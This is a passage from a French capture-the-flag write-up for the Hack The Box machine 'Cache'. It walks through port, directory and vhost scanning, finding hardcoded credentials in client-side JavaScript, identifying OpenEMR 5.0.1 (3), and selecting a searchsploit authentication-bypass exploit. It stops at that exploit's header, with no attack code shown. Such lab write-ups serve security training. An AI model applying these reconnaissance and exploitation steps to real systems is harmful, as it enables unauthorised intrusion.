Introduction

Cache est une machine Hack The Box de difficulté Medium qui propose une chaîne d’exploitation variée, mêlant énumération web, découverte d’un second hôte virtuel, exploitation d’une application OpenEMR, réutilisation d’identifiants et énumération locale.

La première partie consiste à explorer le site web exposé sur cache.htb afin d’y découvrir plusieurs informations utiles, dont l’existence d’une autre application hébergée sur la même machine. L’analyse de cette application permet ensuite d’identifier sa version et de rechercher une méthode permettant d’obtenir un premier accès au système.

Une fois le shell obtenu, l’énumération locale met en évidence plusieurs comptes utilisateurs ainsi que des services accessibles uniquement depuis la machine. L’un d’eux, Memcached, contient des informations qui permettent de poursuivre la progression jusqu’à un compte membre du groupe Docker.

L’exploitation de ces droits permet finalement d’accéder au système de fichiers de l’hôte avec les privilèges de root et de compromettre entièrement la machine.


Énumération

Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.

Concrètement, l’objectif de cette phase d’énumération est d’identifier :

  • quels ports sont ouverts
  • quels services sont accessibles
  • si une application web est présente
  • quels répertoires sont exposés
  • si des sous-domaines ou vhosts peuvent être exploités

Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :

  • mon-nmap : identifie les ports ouverts et les services en écoute
  • mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
  • mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts

Tu retrouves ces outils dans la section Outils / Mes scripts.

Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.

Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :

/usr/share/wordlists/htb-dns-vh-5000.txt

Tu peux installer et maintenir à jour l’ensemble de ces scripts sur ta machine Linux grâce à installe-mes-scripts.


Avant de lancer les scans, vérifie que le nom d’hôte cache.htb résout correctement vers l’adresse IP de la cible.

Sur HTB, cela passe généralement par une entrée dans /etc/hosts.

  • Ajoute l’entrée 10.129.x.x cache.htb dans /etc/hosts.
sudo nano /etc/hosts
  • Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap cache.htb

# Résultats dans le répertoire scans_nmap/
#  - scans_nmap/full_tcp_scan.txt
#  - scans_nmap/enum_ftp_smb_scan.txt
#  - scans_nmap/aggressive_vuln_scan.txt
#  - scans_nmap/cms_vuln_scan.txt
#  - scans_nmap/udp_vuln_scan.txt

Scan initial

Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/cache/full_tcp_scan.txt cache.htb
Nmap scan report for cache.htb (10.129.x.x)
Host is up (0.0085s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at [date] -- 1 IP address (1 host up) scanned in 6.81 seconds

Scan FTP/SMB

Après le scan initial, le script vérifie la présence éventuelle de services FTP ou SMB afin de lancer une énumération ciblée si nécessaire :

  • FTP sur le port 21
  • SMB sur le port 139 et/ou 445

Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :

# mon-nmap — ENUM FTP / SMB
# Target : cache.htb
# Date   : [date]

Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80

Scan agressif

Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.

Ce scan fournit des informations détaillées sur les services et versions détectés.

Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :

[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour cache.htb
[+] Commande utilisée :
    nmap -Pn -A -sV -p"22,80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "cache.htb"

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/cache/aggressive_vuln_scan_raw.txt cache.htb
Nmap scan report for cache.htb (10.129.x.x)
Host is up (0.0073s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT     ADDRESS
1   6.63 ms 10.10.x.1
2   7.22 ms cache.htb (10.129.x.x)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 12.47 seconds

Scan ciblé CMS

Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cache/cms_vuln_scan.txt cache.htb
Nmap scan report for cache.htb (10.129.x.x)
Host is up (0.0073s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-headers: 
|   Date: [date]
|   Server: Apache/2.4.29 (Ubuntu)
|   Last-Modified: Wed, 06 May 2020 09:03:19 GMT
|   ETag: "2001-5a4f70909088c"
|   Accept-Ranges: bytes
|   Content-Length: 8193
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-title: Cache
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1; html: 6; jpg: 5
|     /jquery/
|       js: 1
|   Longest directory structure:
|     Depth: 1
|     Dir: /jquery/
|   Total files found (by extension):
|_    Other: 1; html: 6; jpg: 5; js: 1
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
| http-enum: 
|_  /login.html: Possible admin folder
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 8.01 seconds

Scan UDP rapide

Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt).

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/cache/udp_vuln_scan.txt cache.htb
Nmap scan report for cache.htb (10.129.x.x)
Host is up (0.0073s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  closed        nat-t-ike
49152/udp closed        unknown

# Nmap done at [date] -- 1 IP address (1 host up) scanned in 7.73 seconds

Énumération des chemins web

La découverte des chemins web est réalisée avec le script dédié mon-recoweb .

mon-recoweb cache.htb

# Résultats dans le répertoire scans_recoweb/
#  - scans_recoweb/RESULTS_SUMMARY.txt     ← vue d’ensemble des découvertes
#  - scans_recoweb/dirb.log
#  - scans_recoweb/dirb_hits.txt
#  - scans_recoweb/ffuf_dirs.txt
#  - scans_recoweb/ffuf_dirs_hits.txt
#  - scans_recoweb/ffuf_files.txt
#  - scans_recoweb/ffuf_files_hits.txt
#  - scans_recoweb/ffuf_dirs.json
#  - scans_recoweb/ffuf_files.json

Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, ce qui évite de devoir parcourir l’ensemble des logs générés.

===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script              : mon-recoweb v2.2.3

Cible        : cache.htb
Périmètre    : /
Date début   : [date]

Commandes exécutées (exactes) :

[dirb — découverte initiale]
dirb http://cache.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/cache.htb/dirb.log

[ffuf — énumération des répertoires]
ffuf -u http://cache.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/cache.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/cache.htb/ffuf_dirs.log

[ffuf — énumération des fichiers]
ffuf -u http://cache.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/cache.htb/ffuf_files.json 2>&1 | tee scans_recoweb/cache.htb/ffuf_files.log

Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
    http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
    • répertoires (/chemin/)
    • fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
  garantissant la reproductibilité complète du scan.

----------------------------------------------------

=== Résultat global (agrégé) ===

http://cache.htb/author.html (CODE:200|SIZE:1522)
http://cache.htb/. (CODE:200|SIZE:8193)
http://cache.htb/contactus.html (CODE:200|SIZE:2539)
http://cache.htb/.htaccess.bak (CODE:403|SIZE:274)
http://cache.htb/.htaccess (CODE:403|SIZE:274)
http://cache.htb/.htc (CODE:403|SIZE:274)
http://cache.htb/.ht (CODE:403|SIZE:274)
http://cache.htb/.htgroup (CODE:403|SIZE:274)
http://cache.htb/.htm (CODE:403|SIZE:274)
http://cache.htb/.html (CODE:403|SIZE:274)
http://cache.htb/.htpasswd (CODE:403|SIZE:274)
http://cache.htb/.htpasswds (CODE:403|SIZE:274)
http://cache.htb/.htuser (CODE:403|SIZE:274)
http://cache.htb/index.html (CODE:200|SIZE:8193)
http://cache.htb/javascript/
http://cache.htb/javascript/ (CODE:301|SIZE:311)
http://cache.htb/jquery/
http://cache.htb/jquery/ (CODE:301|SIZE:307)
http://cache.htb/login.html (CODE:200|SIZE:2421)
http://cache.htb/logo.gif (CODE:200|SIZE:490849)
http://cache.htb/news.html (CODE:200|SIZE:7235)
http://cache.htb/.php (CODE:403|SIZE:274)
http://cache.htb/server-status (CODE:403|SIZE:274)
http://cache.htb/server-status/ (CODE:403|SIZE:274)
http://cache.htb/wp-forum.phps (CODE:403|SIZE:274)

=== Détails par outil ===

[DIRB]
http://cache.htb/index.html (CODE:200|SIZE:8193)
http://cache.htb/javascript/
http://cache.htb/jquery/
http://cache.htb/server-status (CODE:403|SIZE:274)

[FFUF — DIRECTORIES]
http://cache.htb/javascript/ (CODE:301|SIZE:311)
http://cache.htb/jquery/ (CODE:301|SIZE:307)
http://cache.htb/server-status/ (CODE:403|SIZE:274)

[FFUF — FILES]
http://cache.htb/author.html (CODE:200|SIZE:1522)
http://cache.htb/. (CODE:200|SIZE:8193)
http://cache.htb/contactus.html (CODE:200|SIZE:2539)
http://cache.htb/.htaccess.bak (CODE:403|SIZE:274)
http://cache.htb/.htaccess (CODE:403|SIZE:274)
http://cache.htb/.htc (CODE:403|SIZE:274)
http://cache.htb/.ht (CODE:403|SIZE:274)
http://cache.htb/.htgroup (CODE:403|SIZE:274)
http://cache.htb/.htm (CODE:403|SIZE:274)
http://cache.htb/.html (CODE:403|SIZE:274)
http://cache.htb/.htpasswd (CODE:403|SIZE:274)
http://cache.htb/.htpasswds (CODE:403|SIZE:274)
http://cache.htb/.htuser (CODE:403|SIZE:274)
http://cache.htb/index.html (CODE:200|SIZE:8193)
http://cache.htb/login.html (CODE:200|SIZE:2421)
http://cache.htb/logo.gif (CODE:200|SIZE:490849)
http://cache.htb/news.html (CODE:200|SIZE:7235)
http://cache.htb/.php (CODE:403|SIZE:274)
http://cache.htb/wp-forum.phps (CODE:403|SIZE:274)

Recherche de vhosts

Enfin, la présence éventuelle de vhosts est vérifiée à l’aide du script mon-subdomains .

=== mon-subdomains cache.htb START ===
Script       : mon-subdomains
Version      : mon-subdomains 2.0.1
Date         : [date]
Domaine      : cache.htb
IP           : 10.129.x.x
Mode         : large
Master       : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes        : 200,301,302,401,403  (strict=1)

VHOST totaux : 0
  - (aucun)

--- Détails par port ---
Port 80 (http)
  Baseline#1: code=200 size=8193 words=973 (Host=gkbxl0hixp.cache.htb)
  Baseline#2: code=200 size=8193 words=973 (Host=3kdrxsow6k.cache.htb)
  Baseline#3: code=200 size=8193 words=973 (Host=0ispdxhnct.cache.htb)
  VHOST (0)
    - (fuzzing sauté : wildcard probable)
    - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant)



=== mon-subdomains cache.htb END ===

Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.

Prise pied

Exploration de l’application web cache.htb

À première vue, le site semble offrir peu de fonctionnalités et donc peu de points d’attaque directement exploitables.

L’application web est accessible à l’adresse suivante :

http://cache.htb

Page d’accueil de l’application web cache.htb

La page d’accueil présente un site personnel dont le titre déroulant affiche explicitement le nom cache.htb.

Le menu de navigation permet d’accéder à plusieurs pages :

index.html
news.html
contactus.html
author.html
login.html

En parcourant ces différentes pages, tu remarques que author.html présente l’auteur du site sous le nom Ash.

Cette page mentionne également une autre application réalisée par celui-ci, appelée HMS.

Mention de l’application HMS dans la page de présentation de l’auteur

En poursuivant l’exploration, tu constates que la page login.html propose un formulaire de connexion demandant un nom d’utilisateur et un mot de passe :

Page de connexion de l’application cache.htb

Une tentative avec des identifiants quelconques échoue. Pour comprendre le fonctionnement de ce formulaire de connexion, tu examines le code source de la page.

Analyse de la page login.html

Pour comprendre le fonctionnement du formulaire de connexion, tu affiches le code source de la page login.html.

Dans Firefox, tu peux utiliser le raccourci Ctrl+U.

Code source de la page de connexion de cache.htb

Tu cliques ensuite sur le lien jquery/functionality.js pour afficher le contenu du script.

<script src="jquery/functionality.js"></script>

Voici le résultat :

Recherche dans le fichier functionality.js

L’examen de functionality.js montre que les identifiants saisis sont vérifiés par le code JavaScript exécuté dans le navigateur.

Le script compare les valeurs saisies dans le formulaire à des identifiants enregistrés en dur dans son code :

ash:H@v3_fun

Comme ash peut également correspondre au nom d’un utilisateur local de la machine, tu testes ces identifiants sur le service SSH :

ssh ash@cache.htb

Le mot de passe H@v3_fun n’est toutefois pas accepté en SSH. Tu conserves néanmoins ces identifiants pour de futurs essais.

Tu testes ensuite ces mêmes identifiants dans le formulaire de connexion de cache.htb. Cette fois, l’authentification réussit et te redirige vers une nouvelle page :

Message « Welcome Back » affiché après la connexion à cache.htb

La page obtenue est encore en construction et ne révèle aucune nouvelle fonctionnalité exploitable.

Identification du virtual host hms.htb

La mention de l’application HMS dans la page author.html laisse penser qu’une seconde application pourrait être hébergée sur la même machine.

À ce stade, HMS n’est encore qu’un nom. Il faut donc chercher comment cette application pourrait être accessible.

Sur un serveur web, plusieurs sites peuvent partager la même adresse IP tout en étant distingués par leur nom d’hôte. Apache, par exemple, peut utiliser ce mécanisme pour servir un contenu différent selon le nom demandé par le navigateur.

La cible principale est déjà accessible sous le nom :

cache.htb

Comme l’auteur mentionne une autre application appelée HMS, une hypothèse logique consiste à tester si cette application est exposée sur la même machine avec un autre nom d’hôte construit à partir de ce nom.

En conservant le même suffixe .htb, tu obtiens naturellement :

hms.htb

Tu testes donc cette hypothèse en ajoutant hms.htb dans le fichier /etc/hosts, avec la même adresse IP que cache.htb :

10.129.x.x cache.htb hms.htb

Tu peux ensuite demander explicitement au navigateur d’accéder à ce nom :

http://hms.htb

Si le serveur web possède bien un virtual host configuré pour ce nom, il renverra alors le contenu associé à cette seconde application.

L’hypothèse est confirmée : hms.htb répond bien et affiche une interface de connexion OpenEMR.

Page de connexion OpenEMR sur hms.htb

Comme tu disposes déjà des identifiants découverts dans functionality.js, tu les testes sur cette interface :

ash:H@v3_fun

La tentative échoue : ces identifiants ne permettent pas de se connecter à OpenEMR.

Tu peux maintenant explorer hms.htb plus en détail afin d’identifier précisément l’application et les ressources qu’elle expose.

Énumération web de hms.htb avec mon-recoweb

Tu poursuis maintenant l’énumération web de hms.htb avec mon-recoweb :

mon-recoweb hms.htb

Le scan retourne de nombreuses ressources. Parmi elles, tu t’intéresses surtout aux fichiers accessibles directement, car ils peuvent révéler des informations utiles sur l’installation OpenEMR.

===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script              : mon-recoweb v2.2.3

Cible        : hms.htb
Périmètre    : /
Date début   : [date]

Commandes exécutées (exactes) :

[dirb — découverte initiale]
dirb http://hms.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/hms.htb/dirb.log

[ffuf — énumération des répertoires]
ffuf -u http://hms.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/hms.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/hms.htb/ffuf_dirs.log

[ffuf — énumération des fichiers]
ffuf -u http://hms.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/hms.htb/ffuf_files.json 2>&1 | tee scans_recoweb/hms.htb/ffuf_files.log

Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
    http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
    • répertoires (/chemin/)
    • fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
  garantissant la reproductibilité complète du scan.

----------------------------------------------------

=== Résultat global (agrégé) ===

http://hms.htb/admin.php (CODE:200|SIZE:937)
http://hms.htb/build.xml (CODE:200|SIZE:6102)
http://hms.htb/ci/ (CODE:301|SIZE:299)
http://hms.htb/cloud/ (CODE:301|SIZE:302)
http://hms.htb/. (CODE:302|SIZE:0)
http://hms.htb/common/
http://hms.htb/common/ (CODE:301|SIZE:303)
http://hms.htb/config/
http://hms.htb/config/ (CODE:301|SIZE:303)
http://hms.htb/contrib/
http://hms.htb/contrib/ (CODE:301|SIZE:304)
http://hms.htb/controller.php (CODE:200|SIZE:37)
http://hms.htb/controllers/
http://hms.htb/controllers/ (CODE:301|SIZE:308)
http://hms.htb/custom/
http://hms.htb/custom/ (CODE:301|SIZE:303)
http://hms.htb/Documentation/ (CODE:301|SIZE:310)
http://hms.htb/entities/ (CODE:301|SIZE:305)
http://hms.htb/.htaccess.bak (CODE:403|SIZE:272)
http://hms.htb/.htaccess (CODE:403|SIZE:272)
http://hms.htb/.htc (CODE:403|SIZE:272)
http://hms.htb/.ht (CODE:403|SIZE:272)
http://hms.htb/.htgroup (CODE:403|SIZE:272)
http://hms.htb/.htm (CODE:403|SIZE:272)
http://hms.htb/.html (CODE:403|SIZE:272)
http://hms.htb/.htpasswd (CODE:403|SIZE:272)
http://hms.htb/.htpasswds (CODE:403|SIZE:272)
http://hms.htb/.htuser (CODE:403|SIZE:272)
http://hms.htb/images/
http://hms.htb/images/ (CODE:301|SIZE:303)
http://hms.htb/index.php (CODE:302|SIZE:0)
http://hms.htb/interface/
http://hms.htb/interface/ (CODE:301|SIZE:306)
http://hms.htb/javascript/
http://hms.htb/javascript/ (CODE:301|SIZE:307)
http://hms.htb/library/
http://hms.htb/library/ (CODE:301|SIZE:304)
http://hms.htb/LICENSE (CODE:200|SIZE:35147)
http://hms.htb/LICENSE/ (CODE:200|SIZE:35147)
http://hms.htb/modules/
http://hms.htb/modules/ (CODE:301|SIZE:304)
http://hms.htb/myportal/ (CODE:301|SIZE:305)
http://hms.htb/patients/ (CODE:301|SIZE:305)
http://hms.htb/.php (CODE:403|SIZE:272)
http://hms.htb/portal/
http://hms.htb/portal/ (CODE:301|SIZE:303)
http://hms.htb/public/
http://hms.htb/public/ (CODE:301|SIZE:303)
http://hms.htb/repositories/ (CODE:301|SIZE:309)
http://hms.htb/server-status (CODE:403|SIZE:272)
http://hms.htb/server-status/ (CODE:403|SIZE:272)
http://hms.htb/services/
http://hms.htb/services/ (CODE:301|SIZE:305)
http://hms.htb/setup.php (CODE:200|SIZE:1214)
http://hms.htb/sites/
http://hms.htb/sites/ (CODE:301|SIZE:302)
http://hms.htb/sql/
http://hms.htb/sql/ (CODE:301|SIZE:300)
http://hms.htb/templates/
http://hms.htb/templates/ (CODE:301|SIZE:306)
http://hms.htb/tests/
http://hms.htb/tests/ (CODE:301|SIZE:302)
http://hms.htb/vendor/
http://hms.htb/vendor/ (CODE:301|SIZE:303)
http://hms.htb/version.php (CODE:200|SIZE:0)
http://hms.htb/wp-forum.phps (CODE:403|SIZE:272)

=== Détails par outil ===

[DIRB]
http://hms.htb/admin.php (CODE:200|SIZE:937)
http://hms.htb/common/
http://hms.htb/config/
http://hms.htb/contrib/
http://hms.htb/controllers/
http://hms.htb/custom/
http://hms.htb/images/
http://hms.htb/index.php (CODE:302|SIZE:0)
http://hms.htb/interface/
http://hms.htb/javascript/
http://hms.htb/library/
http://hms.htb/LICENSE (CODE:200|SIZE:35147)
http://hms.htb/modules/
http://hms.htb/portal/
http://hms.htb/public/
http://hms.htb/server-status (CODE:403|SIZE:272)
http://hms.htb/services/
http://hms.htb/sites/
http://hms.htb/sql/
http://hms.htb/templates/
http://hms.htb/tests/
http://hms.htb/vendor/

[FFUF — DIRECTORIES]
http://hms.htb/ci/ (CODE:301|SIZE:299)
http://hms.htb/cloud/ (CODE:301|SIZE:302)
http://hms.htb/common/ (CODE:301|SIZE:303)
http://hms.htb/config/ (CODE:301|SIZE:303)
http://hms.htb/contrib/ (CODE:301|SIZE:304)
http://hms.htb/controllers/ (CODE:301|SIZE:308)
http://hms.htb/custom/ (CODE:301|SIZE:303)
http://hms.htb/Documentation/ (CODE:301|SIZE:310)
http://hms.htb/entities/ (CODE:301|SIZE:305)
http://hms.htb/images/ (CODE:301|SIZE:303)
http://hms.htb/interface/ (CODE:301|SIZE:306)
http://hms.htb/javascript/ (CODE:301|SIZE:307)
http://hms.htb/library/ (CODE:301|SIZE:304)
http://hms.htb/LICENSE/ (CODE:200|SIZE:35147)
http://hms.htb/modules/ (CODE:301|SIZE:304)
http://hms.htb/myportal/ (CODE:301|SIZE:305)
http://hms.htb/patients/ (CODE:301|SIZE:305)
http://hms.htb/portal/ (CODE:301|SIZE:303)
http://hms.htb/public/ (CODE:301|SIZE:303)
http://hms.htb/repositories/ (CODE:301|SIZE:309)
http://hms.htb/server-status/ (CODE:403|SIZE:272)
http://hms.htb/services/ (CODE:301|SIZE:305)
http://hms.htb/sites/ (CODE:301|SIZE:302)
http://hms.htb/sql/ (CODE:301|SIZE:300)
http://hms.htb/templates/ (CODE:301|SIZE:306)
http://hms.htb/tests/ (CODE:301|SIZE:302)
http://hms.htb/vendor/ (CODE:301|SIZE:303)

[FFUF — FILES]
http://hms.htb/admin.php (CODE:200|SIZE:937)
http://hms.htb/build.xml (CODE:200|SIZE:6102)
http://hms.htb/. (CODE:302|SIZE:0)
http://hms.htb/controller.php (CODE:200|SIZE:37)
http://hms.htb/.htaccess.bak (CODE:403|SIZE:272)
http://hms.htb/.htaccess (CODE:403|SIZE:272)
http://hms.htb/.htc (CODE:403|SIZE:272)
http://hms.htb/.ht (CODE:403|SIZE:272)
http://hms.htb/.htgroup (CODE:403|SIZE:272)
http://hms.htb/.htm (CODE:403|SIZE:272)
http://hms.htb/.html (CODE:403|SIZE:272)
http://hms.htb/.htpasswd (CODE:403|SIZE:272)
http://hms.htb/.htpasswds (CODE:403|SIZE:272)
http://hms.htb/.htuser (CODE:403|SIZE:272)
http://hms.htb/index.php (CODE:302|SIZE:0)
http://hms.htb/.php (CODE:403|SIZE:272)
http://hms.htb/setup.php (CODE:200|SIZE:1214)
http://hms.htb/version.php (CODE:200|SIZE:0)
http://hms.htb/wp-forum.phps (CODE:403|SIZE:272)

Plusieurs chemins découverts, comme /interface/, /sites/, /portal/ ou /modules/, sont cohérents avec une installation de type OpenEMR.

Parmi les fichiers accessibles directement, admin.php retient particulièrement l’attention. Son nom suggère une interface d’administration et il répond avec un code HTTP 200, ce qui indique que la ressource est accessible sans être bloquée par le serveur.

http://hms.htb/admin.php (CODE:200|SIZE:937)

Tu ouvres donc admin.php dans le navigateur :

http://hms.htb/admin.php

La page est accessible sans authentification et affiche l’interface OpenEMR Site Administration, qui révèle directement la version installée :

5.0.1 (3)

Page d’administration d’OpenEMR affichant la version 5.0.1 (3)

Cette information est essentielle : tu connais désormais la version précise d’OpenEMR et tu peux rechercher les vulnérabilités connues qui lui correspondent.

Recherche de vulnérabilités OpenEMR 5.0.1

Maintenant que la version 5.0.1 (3) d’OpenEMR est connue, tu recherches avec searchsploit les exploits correspondant à cette version :

searchsploit openemr 5.0.1

La commande retourne plusieurs résultats :

--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                               |  Path
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution                                                                                           | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution (1)                                                                                                    | php/webapps/48515.py
OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2)                                                                                    | php/webapps/49486.rb
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)                                                                  | php/webapps/49998.py
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)                                                              | php/webapps/50122.rb
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions                                                                                     | linux/webapps/45202.txt
OpenEMR 5.0.1.3 - Authentication Bypass                                                                                                      | php/webapps/50017.py
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)                                                                                      | php/webapps/45161.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated)                                                                                  | php/webapps/50037.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2)                                                                              | php/webapps/50087.rb
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

La version affichée dans l’interface d’administration est 5.0.1 (3). Dans les résultats de searchsploit, cette même version apparaît sous la notation 5.0.1.3.

Tu peux donc écarter les exploits qui ciblent spécifiquement la version 5.0.1.7 et te concentrer sur ceux prévus pour 5.0.1.3.

Parmi ces résultats, tu privilégies les scripts Python, car ils sont généralement faciles à lire, à exécuter et, si nécessaire, à adapter.

Après ce filtrage, trois exploits Python correspondant à la version 5.0.1.3 restent particulièrement intéressants :

php/webapps/49998.py — OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)
php/webapps/50017.py — OpenEMR 5.0.1.3 - Authentication Bypass
php/webapps/45161.py — OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)

Les exploits 49998.py et 45161.py nécessitent des identifiants OpenEMR valides. À ce stade, tu ne disposes encore d’aucun compte permettant de t’authentifier sur l’application.

L’exploit 50017.py constitue donc la piste la plus logique à examiner en premier. Il cible un contournement de l’authentification du portail patient et pourrait permettre d’accéder à des pages normalement réservées à un utilisateur authentifié.

Exploitation du contournement d’authentification avec 50017.py

Tu crées d’abord un sous-répertoire dédié à l’exploit, puis tu y copies le script avec searchsploit :

mkdir -p hms/50017
cd hms/50017

searchsploit -m php/webapps/50017.py

Avant de l’exécuter, tu ouvres 50017.py dans un éditeur de texte afin d’examiner son fonctionnement :

nano 50017.py

Le code source de l’exploit est le suivant :

# Exploit Title: OpenEMR 5.0.1.3 - '/portal/account/register.php' Authentication Bypass
# Date 15.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
